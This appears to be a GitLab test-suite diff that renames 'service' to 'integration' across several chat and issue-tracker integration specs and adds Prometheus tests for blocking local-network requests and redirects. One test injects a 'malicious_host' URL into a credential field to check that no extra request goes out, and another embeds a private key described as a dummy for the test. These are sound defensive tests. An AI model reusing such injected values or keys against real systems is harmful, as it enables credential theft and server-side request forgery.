it_behaves_like 'handles jira fields'
@@ -503,8 +491,8 @@ RSpec.describe Integrations::Jira do
context 'when data are stored in both properties and separated fields' do
let(:properties) { data_params }
- let(:service) do
- create(:jira_service, :without_properties_callback, active: false, properties: properties).tap do |integration|
+ let(:integration) do
+ create(:jira_integration, :without_properties_callback, active: false, properties: properties).tap do |integration|
create(:jira_tracker_data, data_params.merge(integration: integration))
end
end
@@ -522,7 +510,7 @@ RSpec.describe Integrations::Jira do
end
it 'call the Jira API to get the issue' do
- jira_service.find_issue(issue_key)
+ jira_integration.find_issue(issue_key)
expect(WebMock).to have_requested(:get, issue_url)
end
@@ -531,7 +519,7 @@ RSpec.describe Integrations::Jira do
let(:issue_url) { "#{url}/rest/api/2/issue/#{issue_key}?expand=renderedFields,transitions" }
it 'calls the Jira API with the options to get the issue' do
- jira_service.find_issue(issue_key, rendered_fields: true, transitions: true)
+ jira_integration.find_issue(issue_key, rendered_fields: true, transitions: true)
expect(WebMock).to have_requested(:get, issue_url)
end
@@ -558,16 +546,16 @@ RSpec.describe Integrations::Jira do
end
subject(:close_issue) do
- jira_service.close_issue(resource, ExternalIssue.new(issue_key, project))
+ jira_integration.close_issue(resource, ExternalIssue.new(issue_key, project))
end
before do
- jira_service.jira_issue_transition_id = '999'
+ jira_integration.jira_issue_transition_id = '999'
# These stubs are needed to test Integrations::Jira#close_issue.
# We close the issue then do another request to API to check if it got closed.
# Here is stubbed the API return with a closed and an opened issues.
- open_issue = JIRA::Resource::Issue.new(jira_service.client, attrs: issue_fields.deep_stringify_keys)
+ open_issue = JIRA::Resource::Issue.new(jira_integration.client, attrs: issue_fields.deep_stringify_keys)
closed_issue = open_issue.dup
allow(open_issue).to receive(:resolution).and_return(false)
allow(closed_issue).to receive(:resolution).and_return(true)
@@ -585,7 +573,7 @@ RSpec.describe Integrations::Jira do
let(:external_issue) { ExternalIssue.new('JIRA-123', project) }
def close_issue
- jira_service.close_issue(resource, external_issue, current_user)
+ jira_integration.close_issue(resource, external_issue, current_user)
end
it 'calls Jira API' do
@@ -636,7 +624,7 @@ RSpec.describe Integrations::Jira do
context 'when "comment_on_event_enabled" is set to false' do
it 'creates Remote Link reference but does not create comment' do
- allow(jira_service).to receive_messages(comment_on_event_enabled: false)
+ allow(jira_integration).to receive_messages(comment_on_event_enabled: false)
close_issue
expect(WebMock).not_to have_requested(:post, comment_url)
@@ -709,12 +697,12 @@ RSpec.describe Integrations::Jira do
end
it 'logs exception when transition id is not valid' do
- allow(jira_service).to receive(:log_error)
+ allow(jira_integration).to receive(:log_error)
WebMock.stub_request(:post, transitions_url).with(basic_auth: %w(jira-username jira-password)).and_raise("Bad Request")
close_issue
- expect(jira_service).to have_received(:log_error).with(
+ expect(jira_integration).to have_received(:log_error).with(
"Issue transition failed",
error: hash_including(
exception_class: 'StandardError',
@@ -734,7 +722,7 @@ RSpec.describe Integrations::Jira do
context 'when custom transition IDs are blank' do
before do
- jira_service.jira_issue_transition_id = ''
+ jira_integration.jira_issue_transition_id = ''
end
it 'does not transition the issue' do
@@ -755,7 +743,7 @@ RSpec.describe Integrations::Jira do
end
before do
- jira_service.jira_issue_transition_automatic = true
+ jira_integration.jira_issue_transition_automatic = true
close_issue
end
@@ -789,7 +777,7 @@ RSpec.describe Integrations::Jira do
context 'when using multiple transition ids' do
before do
- allow(jira_service).to receive_messages(jira_issue_transition_id: '1,2,3')
+ allow(jira_integration).to receive_messages(jira_issue_transition_id: '1,2,3')
end
it 'calls the api with transition ids separated by comma' do
@@ -805,7 +793,7 @@ RSpec.describe Integrations::Jira do
end
it 'calls the api with transition ids separated by semicolon' do
- allow(jira_service).to receive_messages(jira_issue_transition_id: '1;2;3')
+ allow(jira_integration).to receive_messages(jira_issue_transition_id: '1;2;3')
close_issue
@@ -864,7 +852,7 @@ RSpec.describe Integrations::Jira do
let(:jira_issue) { ExternalIssue.new('JIRA-123', project) }
- subject { jira_service.create_cross_reference_note(jira_issue, resource, user) }
+ subject { jira_integration.create_cross_reference_note(jira_issue, resource, user) }
shared_examples 'creates a comment on Jira' do
let(:issue_url) { "#{url}/rest/api/2/issue/JIRA-123" }
@@ -936,7 +924,7 @@ RSpec.describe Integrations::Jira do
let(:server_info_results) { { 'url' => 'http://url', 'deploymentType' => 'Cloud' } }
def server_info
- jira_service.test(nil)
+ jira_integration.test(nil)
end
context 'when the test succeeds' do
@@ -946,7 +934,7 @@ RSpec.describe Integrations::Jira do
end
it 'gets Jira project with API URL if set' do
- jira_service.update!(api_url: 'http://jira.api.com')
+ jira_integration.update!(api_url: 'http://jira.api.com')
expect(server_info).to eq(success: true, result: server_info_results)
expect(WebMock).to have_requested(:get, /jira.api.com/)
@@ -961,13 +949,13 @@ RSpec.describe Integrations::Jira do
WebMock.stub_request(:get, test_url).with(basic_auth: [username, password])
.to_raise(JIRA::HTTPError.new(double(message: error_message)))
- expect(jira_service).to receive(:log_error).with(
+ expect(jira_integration).to receive(:log_error).with(
'Error sending message',
client_url: 'http://jira.example.com',
error: error_message
)
- expect(jira_service.test(nil)).to eq(success: false, result: error_message)
+ expect(jira_integration.test(nil)).to eq(success: false, result: error_message)
end
end
end
@@ -983,17 +971,17 @@ RSpec.describe Integrations::Jira do
}
allow(Gitlab.config).to receive(:issues_tracker).and_return(settings)
- service = project.create_jira_service(active: true)
+ integration = project.create_jira_integration(active: true)
- expect(service.url).to eq('http://jira.sample/projects/project_a')
- expect(service.api_url).to eq('http://jira.sample/api')
+ expect(integration.url).to eq('http://jira.sample/projects/project_a')
+ expect(integration.api_url).to eq('http://jira.sample/api')
end
end
it 'removes trailing slashes from url' do
- service = described_class.new(url: 'http://jira.test.com/path/')
+ integration = described_class.new(url: 'http://jira.test.com/path/')
- expect(service.url).to eq('http://jira.test.com/path')
+ expect(integration.url).to eq('http://jira.test.com/path')
end
end
@@ -1093,19 +1081,65 @@ RSpec.describe Integrations::Jira do
describe '#issue_transition_enabled?' do
it 'returns true if automatic transitions are enabled' do
- jira_service.jira_issue_transition_automatic = true
+ jira_integration.jira_issue_transition_automatic = true
- expect(jira_service.issue_transition_enabled?).to be(true)
+ expect(jira_integration.issue_transition_enabled?).to be(true)
end
it 'returns true if custom transitions are set' do
- jira_service.jira_issue_transition_id = '1, 2, 3'
+ jira_integration.jira_issue_transition_id = '1, 2, 3'
- expect(jira_service.issue_transition_enabled?).to be(true)
+ expect(jira_integration.issue_transition_enabled?).to be(true)
end
it 'returns false if automatic and custom transitions are disabled' do
- expect(jira_service.issue_transition_enabled?).to be(false)
+ expect(jira_integration.issue_transition_enabled?).to be(false)
+ end
+ end
+
+ describe 'valid_connection? and configured?' do
+ before do
+ allow(jira_integration).to receive(:test).with(nil).and_return(test_result)
+ end
+
+ context 'when the test fails' do
+ let(:test_result) { { success: false } }
+
+ it 'is falsey' do
+ expect(jira_integration).not_to be_valid_connection
+ end
+
+ it 'implies that configured? is also falsey' do
+ expect(jira_integration).not_to be_configured
+ end
+ end
+
+ context 'when the test succeeds' do
+ let(:test_result) { { success: true } }
+
+ it 'is truthy' do
+ expect(jira_integration).to be_valid_connection
+ end
+
+ context 'when the integration is active' do
+ before do
+ jira_integration.active = true
+ end
+
+ it 'implies that configured? is also truthy' do
+ expect(jira_integration).to be_configured
+ end
+ end
+
+ context 'when the integration is inactive' do
+ before do
+ jira_integration.active = false
+ end
+
+ it 'implies that configured? is falsey' do
+ expect(jira_integration).not_to be_configured
+ end
+ end
end
end
end
diff --git a/spec/models/integrations/mattermost_slash_commands_spec.rb b/spec/models/integrations/mattermost_slash_commands_spec.rb
index c8a6584591c..b6abe00469b 100644
--- a/spec/models/integrations/mattermost_slash_commands_spec.rb
+++ b/spec/models/integrations/mattermost_slash_commands_spec.rb
@@ -5,27 +5,29 @@ require 'spec_helper'
RSpec.describe Integrations::MattermostSlashCommands do
it_behaves_like Integrations::BaseSlashCommands
- context 'Mattermost API' do
+ describe 'Mattermost API' do
let(:project) { create(:project) }
- let(:service) { project.build_mattermost_slash_commands_service }
+ let(:integration) { project.build_mattermost_slash_commands_integration }
let(:user) { create(:user) }
before do
session = ::Mattermost::Session.new(nil)
session.base_uri = 'http://mattermost.example.com'
- allow_any_instance_of(::Mattermost::Client).to receive(:with_session)
- .and_yield(session)
+ allow(session).to receive(:with_session).and_yield(session)
+ allow(::Mattermost::Session).to receive(:new).and_return(session)
end
describe '#configure' do
subject do
- service.configure(user, team_id: 'abc',
- trigger: 'gitlab', url: 'http://trigger.url',
- icon_url: 'http://icon.url/icon.png')
+ integration.configure(user,
+ team_id: 'abc',
+ trigger: 'gitlab',
+ url: 'http://trigger.url',
+ icon_url: 'http://icon.url/icon.png')
end
- context 'the requests succeeds' do
+ context 'when the request succeeds' do
before do
stub_request(:post, 'http://mattermost.example.com/api/v4/commands')
.with(body: {
@@ -48,18 +50,18 @@ RSpec.describe Integrations::MattermostSlashCommands do
)
end
- it 'saves the service' do
+ it 'saves the integration' do
expect { subject }.to change { project.integrations.count }.by(1)
end
it 'saves the token' do
subject
- expect(service.reload.token).to eq('token')
+ expect(integration.reload.token).to eq('token')
end
end
- context 'an error is received' do
+ context 'when an error is received' do
before do
stub_request(:post, 'http://mattermost.example.com/api/v4/commands')
.to_return(
@@ -86,10 +88,10 @@ RSpec.describe Integrations::MattermostSlashCommands do
describe '#list_teams' do
subject do
- service.list_teams(user)
+ integration.list_teams(user)
end
- context 'the requests succeeds' do
+ context 'when the request succeeds' do
before do
stub_request(:get, 'http://mattermost.example.com/api/v4/users/me/teams')
.to_return(
@@ -104,7 +106,7 @@ RSpec.describe Integrations::MattermostSlashCommands do
end
end
- context 'an error is received' do
+ context 'when an error is received' do
before do
stub_request(:get, 'http://mattermost.example.com/api/v4/users/me/teams')
.to_return(
diff --git a/spec/models/integrations/microsoft_teams_spec.rb b/spec/models/integrations/microsoft_teams_spec.rb
index 2f1be233eb2..21b9a005746 100644
--- a/spec/models/integrations/microsoft_teams_spec.rb
+++ b/spec/models/integrations/microsoft_teams_spec.rb
@@ -3,25 +3,20 @@
require 'spec_helper'
RSpec.describe Integrations::MicrosoftTeams do
- let(:chat_service) { described_class.new }
+ let(:chat_integration) { described_class.new }
let(:webhook_url) { 'https://example.gitlab.com/' }
- describe "Associations" do
- it { is_expected.to belong_to :project }
- it { is_expected.to have_one :service_hook }
- end
-
describe 'Validations' do
- context 'when service is active' do
+ context 'when integration is active' do
before do
subject.active = true
end
it { is_expected.to validate_presence_of(:webhook) }
- it_behaves_like 'issue tracker service URL attribute', :webhook
+ it_behaves_like 'issue tracker integration URL attribute', :webhook
end
- context 'when service is inactive' do
+ context 'when integration is inactive' do
before do
subject.active = false
end
@@ -42,10 +37,9 @@ RSpec.describe Integrations::MicrosoftTeams do
let_it_be(:project) { create(:project, :repository, :wiki_repo) }
before do
- allow(chat_service).to receive_messages(
+ allow(chat_integration).to receive_messages(
project: project,
project_id: project.id,
- service_hook: true,
webhook: webhook_url
)
@@ -58,28 +52,29 @@ RSpec.describe Integrations::MicrosoftTeams do
end
it "calls Microsoft Teams API for push events" do
- chat_service.execute(push_sample_data)
+ chat_integration.execute(push_sample_data)
expect(WebMock).to have_requested(:post, webhook_url).once
end
it 'specifies the webhook when it is configured' do
- expect(::MicrosoftTeams::Notifier).to receive(:new).with(webhook_url).and_return(double(:microsoft_teams_service).as_null_object)
+ integration = double(:microsoft_teams_integration).as_null_object
+ expect(::MicrosoftTeams::Notifier).to receive(:new).with(webhook_url).and_return(integration)
- chat_service.execute(push_sample_data)
+ chat_integration.execute(push_sample_data)
end
end
context 'with issue events' do
let(:opts) { { title: 'Awesome issue', description: 'please fix' } }
let(:issues_sample_data) do
- service = Issues::CreateService.new(project: project, current_user: user, params: opts)
+ service = Issues::CreateService.new(project: project, current_user: user, params: opts, spam_params: nil)
issue = service.execute
service.hook_data(issue, 'open')
end
it "calls Microsoft Teams API" do
- chat_service.execute(issues_sample_data)
+ chat_integration.execute(issues_sample_data)
expect(WebMock).to have_requested(:post, webhook_url).once
end
@@ -106,7 +101,7 @@ RSpec.describe Integrations::MicrosoftTeams do
end
it "calls Microsoft Teams API" do
- chat_service.execute(merge_sample_data)
+ chat_integration.execute(merge_sample_data)
expect(WebMock).to have_requested(:post, webhook_url).once
end
@@ -126,7 +121,7 @@ RSpec.describe Integrations::MicrosoftTeams do
let(:wiki_page_sample_data) { Gitlab::DataBuilder::WikiPage.build(wiki_page, user, 'create') }
it "calls Microsoft Teams API" do
- chat_service.execute(wiki_page_sample_data)
+ chat_integration.execute(wiki_page_sample_data)
expect(WebMock).to have_requested(:post, webhook_url).once
end
@@ -138,10 +133,9 @@ RSpec.describe Integrations::MicrosoftTeams do
let(:project) { create(:project, :repository, creator: user) }
before do
- allow(chat_service).to receive_messages(
+ allow(chat_integration).to receive_messages(
project: project,
project_id: project.id,
- service_hook: true,
webhook: webhook_url
)
@@ -159,7 +153,7 @@ RSpec.describe Integrations::MicrosoftTeams do
it "calls Microsoft Teams API for commit comment events" do
data = Gitlab::DataBuilder::Note.build(commit_note, user)
- chat_service.execute(data)
+ chat_integration.execute(data)
expect(WebMock).to have_requested(:post, webhook_url).once
end
@@ -174,7 +168,7 @@ RSpec.describe Integrations::MicrosoftTeams do
it "calls Microsoft Teams API for merge request comment events" do
data = Gitlab::DataBuilder::Note.build(merge_request_note, user)
- chat_service.execute(data)
+ chat_integration.execute(data)
expect(WebMock).to have_requested(:post, webhook_url).once
end
@@ -188,7 +182,7 @@ RSpec.describe Integrations::MicrosoftTeams do
it "calls Microsoft Teams API for issue comment events" do
data = Gitlab::DataBuilder::Note.build(issue_note, user)
- chat_service.execute(data)
+ chat_integration.execute(data)
expect(WebMock).to have_requested(:post, webhook_url).once
end
@@ -203,7 +197,7 @@ RSpec.describe Integrations::MicrosoftTeams do
it "calls Microsoft Teams API for snippet comment events" do
data = Gitlab::DataBuilder::Note.build(snippet_note, user)
- chat_service.execute(data)
+ chat_integration.execute(data)
expect(WebMock).to have_requested(:post, webhook_url).once
end
@@ -221,9 +215,8 @@ RSpec.describe Integrations::MicrosoftTeams do
end
before do
- allow(chat_service).to receive_messages(
+ allow(chat_integration).to receive_messages(
project: project,
- service_hook: true,
webhook: webhook_url
)
end
@@ -231,14 +224,14 @@ RSpec.describe Integrations::MicrosoftTeams do
shared_examples 'call Microsoft Teams API' do |branches_to_be_notified: nil|
before do
WebMock.stub_request(:post, webhook_url)
- chat_service.branches_to_be_notified = branches_to_be_notified if branches_to_be_notified
+ chat_integration.branches_to_be_notified = branches_to_be_notified if branches_to_be_notified
end
it 'calls Microsoft Teams API for pipeline events' do
data = Gitlab::DataBuilder::Pipeline.build(pipeline)
data[:markdown] = true
- chat_service.execute(data)
+ chat_integration.execute(data)
message = Integrations::ChatMessage::PipelineMessage.new(data)
@@ -250,11 +243,11 @@ RSpec.describe Integrations::MicrosoftTeams do
shared_examples 'does not call Microsoft Teams API' do |branches_to_be_notified: nil|
before do
- chat_service.branches_to_be_notified = branches_to_be_notified if branches_to_be_notified
+ chat_integration.branches_to_be_notified = branches_to_be_notified if branches_to_be_notified
end
it 'does not call Microsoft Teams API for pipeline events' do
data = Gitlab::DataBuilder::Pipeline.build(pipeline)
- result = chat_service.execute(data)
+ result = chat_integration.execute(data)
expect(result).to be_falsy
end
@@ -272,7 +265,7 @@ RSpec.describe Integrations::MicrosoftTeams do
context 'with default to notify_only_broken_pipelines' do
it 'does not call Microsoft Teams API for pipeline events' do
data = Gitlab::DataBuilder::Pipeline.build(pipeline)
- result = chat_service.execute(data)
+ result = chat_integration.execute(data)
expect(result).to be_falsy
end
@@ -280,7 +273,7 @@ RSpec.describe Integrations::MicrosoftTeams do
context 'with setting notify_only_broken_pipelines to false' do
before do
- chat_service.notify_only_broken_pipelines = false
+ chat_integration.notify_only_broken_pipelines = false
end
it_behaves_like 'call Microsoft Teams API'
diff --git a/spec/models/integrations/open_project_spec.rb b/spec/models/integrations/open_project_spec.rb
index e5b976dc91d..789911acae8 100644
--- a/spec/models/integrations/open_project_spec.rb
+++ b/spec/models/integrations/open_project_spec.rb
@@ -4,7 +4,7 @@ require 'spec_helper'
RSpec.describe Integrations::OpenProject do
describe 'Validations' do
- context 'when service is active' do
+ context 'when integration is active' do
before do
subject.active = true
end
@@ -13,11 +13,11 @@ RSpec.describe Integrations::OpenProject do
it { is_expected.to validate_presence_of(:token) }
it { is_expected.to validate_presence_of(:project_identifier_code) }
- it_behaves_like 'issue tracker service URL attribute', :url
- it_behaves_like 'issue tracker service URL attribute', :api_url
+ it_behaves_like 'issue tracker integration URL attribute', :url
+ it_behaves_like 'issue tracker integration URL attribute', :api_url
end
- context 'when service is inactive' do
+ context 'when integration is inactive' do
before do
subject.active = false
end
@@ -27,9 +27,4 @@ RSpec.describe Integrations::OpenProject do
it { is_expected.not_to validate_presence_of(:project_identifier_code) }
end
end
-
- describe 'Associations' do
- it { is_expected.to belong_to :project }
- it { is_expected.to have_one :service_hook }
- end
end
diff --git a/spec/models/integrations/packagist_spec.rb b/spec/models/integrations/packagist_spec.rb
index 48f7e81adca..dce96890522 100644
--- a/spec/models/integrations/packagist_spec.rb
+++ b/spec/models/integrations/packagist_spec.rb
@@ -24,23 +24,23 @@ RSpec.describe Integrations::Packagist do
let(:packagist_server) { 'https://packagist.example.com' }
let(:project) { create(:project) }
- describe "Associations" do
- it { is_expected.to belong_to :project }
- it { is_expected.to have_one :service_hook }
+ it_behaves_like Integrations::HasWebHook do
+ let(:integration) { described_class.new(packagist_params) }
+ let(:hook_url) { "#{packagist_server}/api/update-package?username=#{packagist_username}&apiToken=#{packagist_token}" }
end
describe '#execute' do
let(:user) { create(:user) }
let(:project) { create(:project, :repository) }
let(:push_sample_data) { Gitlab::DataBuilder::Push.build_sample(project, user) }
- let(:packagist_service) { described_class.create!(packagist_params) }
+ let(:packagist_integration) { described_class.create!(packagist_params) }
before do
stub_request(:post, packagist_hook_url)
end
it 'calls Packagist API' do
- packagist_service.execute(push_sample_data)
+ packagist_integration.execute(push_sample_data)
expect(a_request(:post, packagist_hook_url)).to have_been_made.once
end
diff --git a/spec/models/integrations/pipelines_email_spec.rb b/spec/models/integrations/pipelines_email_spec.rb
index 90055b04bb8..761049f25fe 100644
--- a/spec/models/integrations/pipelines_email_spec.rb
+++ b/spec/models/integrations/pipelines_email_spec.rb
@@ -20,7 +20,7 @@ RSpec.describe Integrations::PipelinesEmail, :mailer do
end
describe 'Validations' do
- context 'when service is active' do
+ context 'when integration is active' do
before do
subject.active = true
end
@@ -28,7 +28,7 @@ RSpec.describe Integrations::PipelinesEmail, :mailer do
it { is_expected.to validate_presence_of(:recipients) }
end
- context 'when service is inactive' do
+ context 'when integration is inactive' do
before do
subject.active = false
end
diff --git a/spec/models/integrations/pivotaltracker_spec.rb b/spec/models/integrations/pivotaltracker_spec.rb
index 2ce90b6f739..bf8458a376c 100644
--- a/spec/models/integrations/pivotaltracker_spec.rb
+++ b/spec/models/integrations/pivotaltracker_spec.rb
@@ -5,13 +5,8 @@ require 'spec_helper'
RSpec.describe Integrations::Pivotaltracker do
include StubRequests
- describe 'Associations' do
- it { is_expected.to belong_to :project }
- it { is_expected.to have_one :service_hook }
- end
-
describe 'Validations' do
- context 'when service is active' do
+ context 'when integration is active' do
before do
subject.active = true
end
@@ -19,7 +14,7 @@ RSpec.describe Integrations::Pivotaltracker do
it { is_expected.to validate_presence_of(:token) }
end
- context 'when service is inactive' do
+ context 'when integration is inactive' do
before do
subject.active = false
end
@@ -29,9 +24,9 @@ RSpec.describe Integrations::Pivotaltracker do
end
describe 'Execute' do
- let(:service) do
- described_class.new.tap do |service|
- service.token = 'secret_api_token'
+ let(:integration) do
+ described_class.new.tap do |integration|
+ integration.token = 'secret_api_token'
end
end
@@ -59,7 +54,7 @@ RSpec.describe Integrations::Pivotaltracker do
end
it 'posts correct message' do
- service.execute(push_data)
+ integration.execute(push_data)
expect(WebMock).to have_requested(:post, stubbed_hostname(url)).with(
body: {
'source_commit' => {
@@ -77,22 +72,22 @@ RSpec.describe Integrations::Pivotaltracker do
end
context 'when allowed branches is specified' do
- let(:service) do
- super().tap do |service|
- service.restrict_to_branch = 'master,v10'
+ let(:integration) do
+ super().tap do |integration|
+ integration.restrict_to_branch = 'master,v10'
end
end
it 'posts message if branch is in the list' do
- service.execute(push_data(branch: 'master'))
- service.execute(push_data(branch: 'v10'))
+ integration.execute(push_data(branch: 'master'))
+ integration.execute(push_data(branch: 'v10'))
expect(WebMock).to have_requested(:post, stubbed_hostname(url)).twice
end
it 'does not post message if branch is not in the list' do
- service.execute(push_data(branch: 'mas'))
- service.execute(push_data(branch: 'v11'))
+ integration.execute(push_data(branch: 'mas'))
+ integration.execute(push_data(branch: 'v11'))
expect(WebMock).not_to have_requested(:post, stubbed_hostname(url))
end
diff --git a/spec/models/integrations/prometheus_spec.rb b/spec/models/integrations/prometheus_spec.rb
new file mode 100644
index 00000000000..f6f242bf58e
--- /dev/null
+++ b/spec/models/integrations/prometheus_spec.rb
@@ -0,0 +1,538 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+require 'googleauth'
+
+RSpec.describe Integrations::Prometheus, :use_clean_rails_memory_store_caching, :snowplow do
+ include PrometheusHelpers
+ include ReactiveCachingHelpers
+
+ let_it_be_with_reload(:project) { create(:prometheus_project) }
+
+ let(:integration) { project.prometheus_integration }
+
+ context 'redirects' do
+ it 'does not follow redirects' do
+ redirect_to = 'https://redirected.example.com'
+ redirect_req_stub = stub_prometheus_request(prometheus_query_url('1'), status: 302, headers: { location: redirect_to })
+ redirected_req_stub = stub_prometheus_request(redirect_to, body: { 'status': 'success' })
+
+ result = integration.test
+
+ # result = { success: false, result: error }
+ expect(result[:success]).to be_falsy
+ expect(result[:result]).to be_instance_of(Gitlab::PrometheusClient::UnexpectedResponseError)
+
+ expect(redirect_req_stub).to have_been_requested
+ expect(redirected_req_stub).not_to have_been_requested
+ end
+ end
+
+ describe 'Validations' do
+ context 'when manual_configuration is enabled' do
+ before do
+ integration.manual_configuration = true
+ end
+
+ it 'validates presence of api_url' do
+ expect(integration).to validate_presence_of(:api_url)
+ end
+ end
+
+ context 'when manual configuration is disabled' do
+ before do
+ integration.manual_configuration = false
+ end
+
+ it 'does not validate presence of api_url' do
+ expect(integration).not_to validate_presence_of(:api_url)
+ expect(integration.valid?).to eq(true)
+ end
+
+ context 'local connections allowed' do
+ before do
+ stub_application_setting(allow_local_requests_from_web_hooks_and_services: true)
+ end
+
+ it 'does not validate presence of api_url' do
+ expect(integration).not_to validate_presence_of(:api_url)
+ expect(integration.valid?).to eq(true)
+ end
+ end
+ end
+
+ context 'when the api_url domain points to localhost or local network' do
+ let(:domain) { Addressable::URI.parse(integration.api_url).hostname }
+
+ it 'cannot query' do
+ expect(integration.can_query?).to be true
+
+ aggregate_failures do
+ ['127.0.0.1', '192.168.2.3'].each do |url|
+ allow(Addrinfo).to receive(:getaddrinfo).with(domain, any_args).and_return([Addrinfo.tcp(url, 80)])
+
+ expect(integration.can_query?).to be false
+ end
+ end
+ end
+
+ it 'can query when local requests are allowed' do
+ stub_application_setting(allow_local_requests_from_web_hooks_and_services: true)
+
+ aggregate_failures do
+ ['127.0.0.1', '192.168.2.3'].each do |url|
+ allow(Addrinfo).to receive(:getaddrinfo).with(domain, any_args).and_return([Addrinfo.tcp(url, 80)])
+
+ expect(integration.can_query?).to be true
+ end
+ end
+ end
+
+ context 'with self-monitoring project and internal Prometheus' do
+ before do
+ integration.api_url = 'http://localhost:9090'
+
+ stub_application_setting(self_monitoring_project_id: project.id)
+ stub_config(prometheus: { enable: true, server_address: 'localhost:9090' })
+ end
+
+ it 'allows self-monitoring project to connect to internal Prometheus' do
+ aggregate_failures do
+ ['127.0.0.1', '192.168.2.3'].each do |url|
+ allow(Addrinfo).to receive(:getaddrinfo).with(domain, any_args).and_return([Addrinfo.tcp(url, 80)])
+
+ expect(integration.can_query?).to be true
+ end
+ end
+ end
+
+ it 'does not allow self-monitoring project to connect to other local URLs' do
+ integration.api_url = 'http://localhost:8000'
+
+ aggregate_failures do
+ ['127.0.0.1', '192.168.2.3'].each do |url|
+ allow(Addrinfo).to receive(:getaddrinfo).with(domain, any_args).and_return([Addrinfo.tcp(url, 80)])
+
+ expect(integration.can_query?).to be false
+ end
+ end
+ end
+ end
+ end
+ end
+
+ describe 'callbacks' do
+ context 'after_create' do
+ let(:project) { create(:project) }
+ let(:integration) { build(:prometheus_integration, project: project) }
+
+ subject(:create_integration) { integration.save! }
+
+ it 'creates default alerts' do
+ expect(Prometheus::CreateDefaultAlertsWorker)
+ .to receive(:perform_async)
+ .with(project.id)
+
+ create_integration
+ end
+
+ context 'no project exists' do
+ let(:integration) { build(:prometheus_integration, :instance) }
+
+ it 'does not create default alerts' do
+ expect(Prometheus::CreateDefaultAlertsWorker)
+ .not_to receive(:perform_async)
+
+ create_integration
+ end
+ end
+ end
+ end
+
+ describe '#test' do
+ before do
+ integration.manual_configuration = true
+ end
+
+ let!(:req_stub) { stub_prometheus_request(prometheus_query_url('1'), body: prometheus_value_body('vector')) }
+
+ context 'success' do
+ it 'reads the discovery endpoint' do
+ expect(integration.test[:result]).to eq('Checked API endpoint')
+ expect(integration.test[:success]).to be_truthy
+ expect(req_stub).to have_been_requested.twice
+ end
+ end
+
+ context 'failure' do
+ let!(:req_stub) { stub_prometheus_request(prometheus_query_url('1'), status: 404) }
+
+ it 'fails to read the discovery endpoint' do
+ expect(integration.test[:success]).to be_falsy
+ expect(req_stub).to have_been_requested
+ end
+ end
+ end
+
+ describe '#prometheus_client' do
+ let(:api_url) { 'http://some_url' }
+
+ before do
+ integration.active = true
+ integration.api_url = api_url
+ integration.manual_configuration = manual_configuration
+ end
+
+ context 'manual configuration is enabled' do
+ let(:manual_configuration) { true }
+
+ it 'calls valid?' do
+ allow(integration).to receive(:valid?).and_call_original
+
+ expect(integration.prometheus_client).not_to be_nil
+
+ expect(integration).to have_received(:valid?)
+ end
+ end
+
+ context 'manual configuration is disabled' do
+ let(:manual_configuration) { false }
+
+ it 'no client provided' do
+ expect(integration.prometheus_client).to be_nil
+ end
+ end
+
+ context 'when local requests are allowed' do
+ let(:manual_configuration) { true }
+ let(:api_url) { 'http://192.168.1.1:9090' }
+
+ before do
+ stub_application_setting(allow_local_requests_from_web_hooks_and_services: true)
+
+ stub_prometheus_request("#{api_url}/api/v1/query?query=1")
+ end
+
+ it 'allows local requests' do
+ expect(integration.prometheus_client).not_to be_nil
+ expect { integration.prometheus_client.ping }.not_to raise_error
+ end
+ end
+
+ context 'when local requests are blocked' do
+ let(:manual_configuration) { true }
+ let(:api_url) { 'http://192.168.1.1:9090' }
+
+ before do
+ stub_application_setting(allow_local_requests_from_web_hooks_and_services: false)
+
+ stub_prometheus_request("#{api_url}/api/v1/query?query=1")
+ end
+
+ it 'blocks local requests' do
+ expect(integration.prometheus_client).to be_nil
+ end
+
+ context 'with self monitoring project and internal Prometheus URL' do
+ before do
+ stub_application_setting(allow_local_requests_from_web_hooks_and_services: false)
+ stub_application_setting(self_monitoring_project_id: project.id)
+
+ stub_config(prometheus: {
+ enable: true,
+ server_address: api_url
+ })
+ end
+
+ it 'allows local requests' do
+ expect(integration.prometheus_client).not_to be_nil
+ expect { integration.prometheus_client.ping }.not_to raise_error
+ end
+ end
+ end
+
+ context 'behind IAP' do
+ let(:manual_configuration) { true }
+
+ let(:google_iap_service_account) do
+ {
+ type: "service_account",
+ # dummy private key generated only for this test to pass openssl validation
+ private_key: <<~KEY
+ -----BEGIN RSA PRIVATE KEY-----
+ MIIBOAIBAAJAU85LgUY5o6j6j/07GMLCNUcWJOBA1buZnNgKELayA6mSsHrIv31J
+ Y8kS+9WzGPQninea7DcM4hHA7smMgQD1BwIDAQABAkAqKxMy6PL3tn7dFL43p0ex
+ JyOtSmlVIiAZG1t1LXhE/uoLpYi5DnbYqGgu0oih+7nzLY/dXpNpXUmiRMOUEKmB
+ AiEAoTi2rBXbrLSi2C+H7M/nTOjMQQDuZ8Wr4uWpKcjYJTMCIQCFEskL565oFl/7
+ RRQVH+cARrAsAAoJSbrOBAvYZ0PI3QIgIEFwis10vgEF86rOzxppdIG/G+JL0IdD
+ 9IluZuXAGPECIGUo7qSaLr75o2VEEgwtAFH5aptIPFjrL5LFCKwtdB4RAiAYZgFV
+ HCMmaooAw/eELuMoMWNYmujZ7VaAnOewGDW0uw==
+ -----END RSA PRIVATE KEY-----
+ KEY
+ }
+ end
+
+ def stub_iap_request
+ integration.google_iap_service_account_json = Gitlab::Json.generate(google_iap_service_account)
+ integration.google_iap_audience_client_id = 'IAP_CLIENT_ID.apps.googleusercontent.com'
+
+ stub_request(:post, 'https://oauth2.googleapis.com/token')
+ .to_return(
+ status: 200,
+ body: '{"id_token": "FOO"}',
+ headers: { 'Content-Type': 'application/json; charset=UTF-8' }
+ )
+ end
+
+ it 'includes the authorization header' do
+ stub_iap_request
+
+ expect(integration.prometheus_client).not_to be_nil
+ expect(integration.prometheus_client.send(:options)).to have_key(:headers)
+ expect(integration.prometheus_client.send(:options)[:headers]).to eq(authorization: "Bearer FOO")
+ end
+
+ context 'when passed with token_credential_uri', issue: 'https://gitlab.com/gitlab-org/gitlab/-/issues/284819' do
+ let(:malicious_host) { 'http://example.com' }
+
+ where(:param_name) do
+ [
+ :token_credential_uri,
+ :tokencredentialuri,
+ :Token_credential_uri,
+ :tokenCredentialUri
+ ]
+ end
+
+ with_them do
+ it 'does not make any unexpected HTTP requests' do
+ google_iap_service_account[param_name] = malicious_host
+ stub_iap_request
+ stub_request(:any, malicious_host).to_raise('Making additional HTTP requests is forbidden!')
+
+ expect(integration.prometheus_client).not_to be_nil
+ end
+ end
+ end
+ end
+ end
+
